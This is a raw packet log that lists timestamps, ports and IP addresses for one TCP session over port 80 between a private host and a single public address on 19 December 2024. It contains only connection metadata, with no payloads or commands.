Dec 19, 2024 08:01:05.084356070 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.084367990 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.084414005 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.085241079 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.085284948 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.085293055 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.085298061 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.085335970 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.086190939 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.086255074 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.086267948 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.086308956 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.087137938 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.087161064 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.087172985 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.087198019 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.087219954 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.088088036 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.088148117 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.088161945 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.088203907 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.089051008 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.089081049 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.089092970 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.089104891 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.089134932 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.089998007 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.090059042 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.090070009 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.090125084 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.090941906 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.090991020 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.090993881 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.091006994 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.091049910 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.091898918 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.091958046 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.091969013 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.092004061 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.092842102 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.092886925 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.092894077 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.092905998 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.092946053 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.093784094 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.093852997 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.093864918 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.093907118 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.094758034 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.094806910 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.094818115 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.094819069 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.094867945 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.095746040 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.095803976 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.095818043 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.095859051 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.096695900 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.096719980 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.096731901 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.096760988 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.096875906 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.097651005 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.097722054 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.097733021 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.097769976 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.098547935 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.098589897 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.098599911 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.098613024 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.098759890 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.099538088 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.099580050 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.099591970 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.099621058 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.100451946 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.100500107 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.100502968 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.100517035 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.100557089 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.101589918 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.101644039 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.101655006 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.101701021 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.102611065 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.102670908 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.102680922 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.102694035 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.102730036 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.103461981 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.103473902 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.103487015 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.103509903 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.104386091 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.104399920 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.104413033 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.104449987 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.104482889 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.105221033 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.105261087 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.105273962 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.105310917 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.231996059 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.232072115 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.232110977 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.232163906 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.232450962 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.232506990 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.232559919 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.232597113 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.232642889 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.233577013 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.233634949 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.233673096 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.233683109 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.234498024 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.234553099 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.234560966 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.234596014 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.234636068 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.235280991 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.235414028 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.235529900 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.269596100 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.269617081 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.269632101 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.269670963 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.269922972 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.269948959 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.269961119 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.269990921 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.270008087 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.271112919 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.271161079 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.271173954 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.271205902 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.271862984 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.271909952 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.271946907 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.271960020 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.271994114 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.272825003 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.272912979 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.272924900 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.272962093 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.273736000 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.273789883 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.273799896 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.273835897 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.273874998 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.274719000 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.274772882 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.274807930 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.274851084 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.275625944 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.275669098 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.275682926 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.275722027 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.275763988 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.276607990 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.276667118 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.276705027 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.276705027 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.277565956 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.277621984 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.277632952 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.277658939 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.277790070 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.278605938 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.278640985 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.278676033 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.278682947 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.279453039 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.279503107 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.279510975 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.279546976 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.279586077 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.280468941 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.280503035 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.280539989 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.280577898 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.281383991 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.281450987 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.281476974 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.281512976 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.281611919 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.282306910 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.282383919 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.282419920 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.282427073 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.283310890 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.283370018 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.283385992 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.283406973 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.283467054 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.284214973 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.284270048 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.284305096 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.284332991 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.285182953 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.285248995 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.285275936 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.285311937 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.285518885 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.286170006 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.286366940 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.286402941 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.286411047 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.287045002 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.287086010 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.287102938 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.287137985 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.287184000 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.288041115 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.288161039 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.288197994 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.288220882 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.289104939 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.289151907 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.289206028 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.289242983 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.289278984 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.290013075 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.290049076 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.290100098 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.290112019 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.291738033 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.291795015 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.291825056 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.291831970 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.291932106 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.292495012 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.292531013 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.292567015 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.292613983 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.293042898 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.293101072 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.293117046 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.293137074 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.293184042 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.293971062 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.294027090 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.294063091 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.294106960 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.294785976 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.294842958 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.294878006 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.294913054 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.294977903 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.295600891 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.295672894 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.295707941 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.295721054 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.296698093 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.296741962 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.296755075 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.296788931 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.296871901 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.297502041 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.297559023 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.297599077 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.297601938 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.341887951 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.424181938 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.424215078 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.424226999 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.424257040 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.424521923 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.424545050 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.424557924 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.424560070 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.424587965 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.425474882 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.425514936 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.425527096 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.425554991 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.426433086 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.426471949 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.426481962 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.426501036 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.426543951 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.427383900 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.427674055 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.427917004 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.461668968 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.461708069 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.461719990 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.461791039 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.461940050 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.462129116 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.462172985 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.462182045 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.462194920 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.462232113 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.463087082 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.463130951 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.463146925 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.463160038 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.463195086 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.464065075 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.464123011 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.464134932 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.464165926 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.465090036 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.465136051 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.465200901 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.465212107 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.465249062 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.465980053 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.466008902 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.466018915 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.466053963 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.466983080 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.467004061 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.467014074 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.467041016 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.467055082 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.467905998 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.467946053 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.467957020 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.468003988 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.468803883 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.468847990 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.468863010 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.468893051 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.468902111 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.469742060 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.469790936 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.469803095 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.469846964 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.470709085 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.470750093 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.470760107 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.470787048 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.470798969 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.471849918 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.471908092 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.471920013 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.471954107 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.472712040 CET	80	49739	194.87.47.113	192.168.2.9
